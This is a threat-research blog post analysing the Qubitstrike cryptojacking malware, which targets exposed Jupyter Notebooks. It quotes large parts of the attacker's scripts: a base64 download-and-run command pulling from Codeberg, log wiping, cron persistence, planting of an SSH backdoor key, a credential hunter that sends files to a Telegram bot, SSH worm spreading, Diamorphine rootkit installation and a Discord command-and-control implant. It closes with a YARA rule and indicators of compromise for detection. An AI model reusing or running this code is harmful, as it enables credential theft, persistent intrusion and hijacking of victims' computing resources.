ブログ
/
Cloud
/
October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
18
Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine:

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash 

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to:

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code> 

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

  • Retrieving and executing the XMRig miner
  • Registering cron persistence and inserting an attacker-controlled SSH key
  • Retrieving and installing the Diamorphine rootkit
  • Exfiltrating credentials from the host
  • Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog.

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi 

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' '[email protected]' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }  

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
} 

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
} 

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root.

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
} 

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

  • executing the miner at reboot
  • executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
  • executing mi.sh on a daily basis
cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
} 

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22.

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config 

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators.

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds } 

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

@z4r0u1 Telegram user profile
Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host.

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
} 

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command.

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
} 

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system.

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
} 

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

Credential alert
Figure 3: Credential alert

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.  

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse.

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii') 

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below:

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code> 

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator.

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return 

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}')) 

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”,  however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Example Qubitstrike output displayed in Discord
Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References  

  1. https://blog.csdn.net/hubaoquanu/article/details/108700572
  2. https://medium.com/@EdwardCrowder/detecting-and-analyzing-zero-days-log4shell-cve-2021-44228-distributing-kinsing-go-lang-malware-5c1485e89178

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "[email protected]" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet } 

Indicators of compromise

Filename  SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

AI

/

August 13, 2026

信頼が新たなアタックサーフェスである理由:ダークトレースの2026年度中間脅威アップデート

Default blog imageDefault blog image

2026年初頭、ダークトレースのアナリストによって専用に設計されたReact2Shellハニーポットは、その展開から2時間未満で侵害を受けました。この1つのデータをとって見ても2026年前半の脅威ランドスケープのペースを表していると言うことができますが、スピードは1つの側面に過ぎません。

過去6か月間の変化は、従来のマルウェアや脆弱性を中心とした攻撃から、信頼されるアイデンティティ、プラットフォーム、およびインフラの悪用への移行を示しています。多くの組織が広範囲にAIを導入するのに伴い、アイデンティティ、SaaSプラットフォーム、クラウドに対する権限、自動化フレームワーク、および非人間アイデンティティが、攻撃者に好まれる攻撃経路となっています。

攻撃者は、外部から侵入するよりも、防御者やユーザーが信頼するよう条件づけられている関係、サービス、認証済みチャネル内で活動する傾向が高まっています。

2025年と比較して何が変わったか?

